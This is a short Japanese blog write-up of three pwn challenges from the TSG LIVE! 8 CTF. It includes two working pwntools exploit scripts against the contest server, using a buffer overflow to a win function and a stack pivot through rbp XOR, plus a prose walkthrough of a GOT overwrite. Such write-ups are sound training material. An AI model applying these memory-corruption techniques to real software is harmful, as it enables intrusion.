<TSG LIVE! 8 CTF> 解いてみた
はじめに
最近全然遊べていなかったのですが、今日はちょっと落ち着いたので、リハビリがてらpwnを数問やりました。
今回取り組んだのは、昨日(5月14日)、TSGの五月祭企画の一環として開催されていたTSG LIVE! 8 CTFで出題されたbpxover、bpxor、bpmovです。
問題はこちらにあります。
github.com
bpxover
scanf()
で受け取る文字数を制限していないのでbofを利用できます。
その下に何か書いてありますが、これは次の問題でポイントになります。
#!/usr/bin/env python3 from pwn import * bin_file = './chall' context(os = 'linux', arch = 'amd64') HOST = 'chall.live.ctf.tsg.ne.jp' PORT = 30006 binf = ELF(bin_file) def attack(io): io.sendline(b'a' * 0x28 + p64(binf.sym.win)) def main(): # io = process(bin_file) io = remote(HOST, PORT) attack(io) # gdb.attach(io, '') io.interactive() if __name__ == '__main__': main()
bpxor
ソースコードの20行目から22行目では、変数x
の値とrbp
の値とのxorを計算し、結果をrbp
にセットしています。x
の値はscanf()
入力で指定できるので、rbp
の値も間接的にいじれます。
今回は、buf
に十数バイト好きに書き込めるので、main関数の最後のleave命令を利用して、ここら辺にstack pivotします。仕組みは、leave命令がmov rsp, rbp;
をしてpop rbp
するような命令であることを考えるとわかると思います。
#!/usr/bin/env python3 from pwn import * bin_file = './chall' context(os = 'linux', arch = 'amd64') HOST = 'chall.live.ctf.tsg.ne.jp' PORT = 30007 binf = ELF(bin_file) def attack(io): payload = b'32' payload += b'a' * 6 payload += p64(binf.sym.win) io.sendlineafter(':)', payload) def main(): # io = process(bin_file) io = remote(HOST, PORT) attack(io) # gdb.attach(io, '') io.interactive() if __name__ == '__main__': main()
spmov
この問題は30分くらい考えたのですが解けなかったので、こちらのwriteup*1を参考にしました。
少し詳しく書くと、
① stop_a_little()
に入る時にrand@got
にリターンアドレスmain+236
がセットされる。
② stop_a_little()
内でrand@plt
に移り、その中でrand@got
にセットされているアドレスにジャンプ。
③ その後2回目のread()
に入るが、この時第2引数はprintf@got
なので、win()
のアドレスを書き込めばOK。
という感じになると思います。
よくできてるなあー(感心)
rsp
をいろんなとこに動かしてみるもprintf()
でセグフォが起きて詰まっていました。ざんねん!
おわりに
寝ます。おやすみなさい!